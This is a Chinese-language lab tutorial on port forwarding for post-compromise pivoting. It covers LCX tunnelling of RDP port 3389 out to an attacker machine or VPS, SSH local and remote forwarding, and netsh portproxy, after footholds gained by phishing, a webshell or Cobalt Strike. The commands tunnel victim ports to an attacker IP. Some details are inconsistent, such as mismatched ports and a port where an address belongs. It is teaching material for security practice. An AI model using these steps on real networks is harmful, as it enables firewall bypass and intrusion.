目录
LCX端口转发
场景一
场景二
SSH的端口转发
一、本地转发(正向访问A):
二、远程转发(反向访问A)
三.NETSH端口转发
端口转发和端口映射
端口转发,有时被称为做隧道,是安全壳( SSH)为网络安全通信使用的一种方法简单来说,端口转发就是将 一个端口收到的流量转发到另一个端口。 端口映射是 NAT的一种,功能是把在公网的地址转成私有地址。简单来说,端口映射就是将一个端口映射 到另一个端口供其他人使用
端口转发:只针对于机器的某个特定端口
本次实验三种端口转发:
LCX
SSH
NETSH
LCX端口转发
介绍:
LCX是一款端口转发工具,分为Windows版和Linux版,Linux版本为PortMap。LCX有端口映射和端口转发两大功能,例如当目标的3389端口只对内开放而不对外开放时,可以使用端口映射将3389端口映射到目标的其他端口使用;当目标处于内网或目标配置的策略只允许访问固定某一端口时,可以通过端口转发突破限制
场景一
由于配置了防火墙只允许web访问,这个时候攻击者想访问3389端口,远程连接是不可以的,就需要使用LCX进行端口转发,Web服务器开启了80端口,3389端口不允许出网,可以将web服务器的3389端口转发到允许出网的53端口,这个时候攻击者在本地监听53端口并且转发到1111端口,这个时候攻击者连接自己的1111端口,等于访问web服务器的3389端口
总结:目标机器的3389不对外开放,连接不上,我们可以用端口转发
环境准备:
1.3389不允许出网
2.3389开启
利用:
1.先上线CS
2.上传需要的工具LCX
3、在攻击机器上运行以下命令,监听本地53端口并且转发到本地1111端口
lcx.exe -listen 53 1111
4、在web靶机上运行以下命令, 将本地的3389端口转发到192.168.3.27的 53端口
lcx.exe -slave 攻击机IP 53 靶机本地IP 3389
攻击机上接收成功
5、在攻击机器上运行远程桌面,地址为127.0.0.1:1111
连接成功
场景二
Web服务器开启了80端口,3389端口不允许出网,可以将web服务器的3389端口转发到允许出网的54端口,这个时候攻击者在VPS监听54端口并且转发到1111端口,这个时候攻击者连接VPS的1111端口,等于访问web服务器的3389端口
这个和上面一样,只不过中间加了一个VPS,本地机器通过连接对方机器转发到的VPS的端口,就可以实现3389访问
SSH的端口转发
介绍:
SSH通过网络远程访问主机提供保护,可以对客户端和服务端之间的数据传输进行压缩和加密,有身份验证、SCP、SFTP、和端口转发的功能
一、本地转发(正向访问A):
A可访问B,不能访问C,但是B可以访问C,可以用代理将C的3389端口转到B机器的其他端口,从而使A访问B机器的代理端口,从而可以间接访问C的3389端口,前提是知道了C机器的账号密码
利用:
1、使用webshell或者其他其他的方式连接到B机器
比如:我们拿下了机器B,可以用本地的ssh连接上机器B,从而在机器B上进行端口转发
ssh 账号@IP
这里用本地机器A来SSH机器B,注意要输入机器B的密码
2.使用转发的命令进行转发
ssh -CfNg -L 本地端口:主机B_IP:主机B_端口 跳板主机A_IP
在B机器上操作,C机器代理到B机器的9999端口
3.本地连接B机器的9999端口即可
注意:在实际情况,我们可以通过机器B,可能找到内网才能访问得WEB服务等,我们可以将这个服务转发到公网上面,我们访问这个web服务,通过利用漏洞打下这个服务,那么我们就可以进入内网
二、远程转发(反向访问A)
实验场景:
攻击机者已经拿下了机器B 但是因为是内网机器所以无法直接访问,同时无法访问c主机,但是因为b有ssh,我们使用远程转发,就是机器A是公网机器,B和C机器是内网机器,B可以访问A,B可以访问C,但是A不能访问C,我们通过钓鱼使B机器上线,然后利用远程转发使机器A可以访问C机器,前提知道C机器的密码
利用:
1、通过反向连接(钓鱼)的方式连入公司的网络
然后ssh连接或者在CS上面执行shell命令
ssh root@IP
2、在机器上B执行如下的转发命令:
ssh -CfNg -R 攻击者端口:目标主机IP:目标主机端口 -fN 攻击者_IP
3、在攻击的机器上访问端口就可
NETSH端口转发
介绍:
netsh是windows系统自带命令行程序,攻击者无需上传第三方工具即可利用netsh程序可进行端口转发操作,可将内网中其他服务器的端口转发至本地访问运行这个工具需要管理员的权限
场景:
现在有如下的网络,电脑A是攻击机器,可以直接访问电脑B,但是访问不了机器C,C机器不出网,可以借助B机器上的netsh命令进行端口转发访问机器C,这里注意只能访问端口
利用:
1.首先钓鱼上线
2.通过远控攻击在B上执行如下的命令(只有管理员才能执行):
netsh interface portproxy add v4tov4 listenaddress=机器B的IP listenport=9999 connectport=22 connectaddress=机器C的端口)
3.查看是否开启转发:
netsh interface portproxy show v4tov4
4.在攻击机器A上运行连接靶机C的端口
ssh root@机器B的IP -p 9995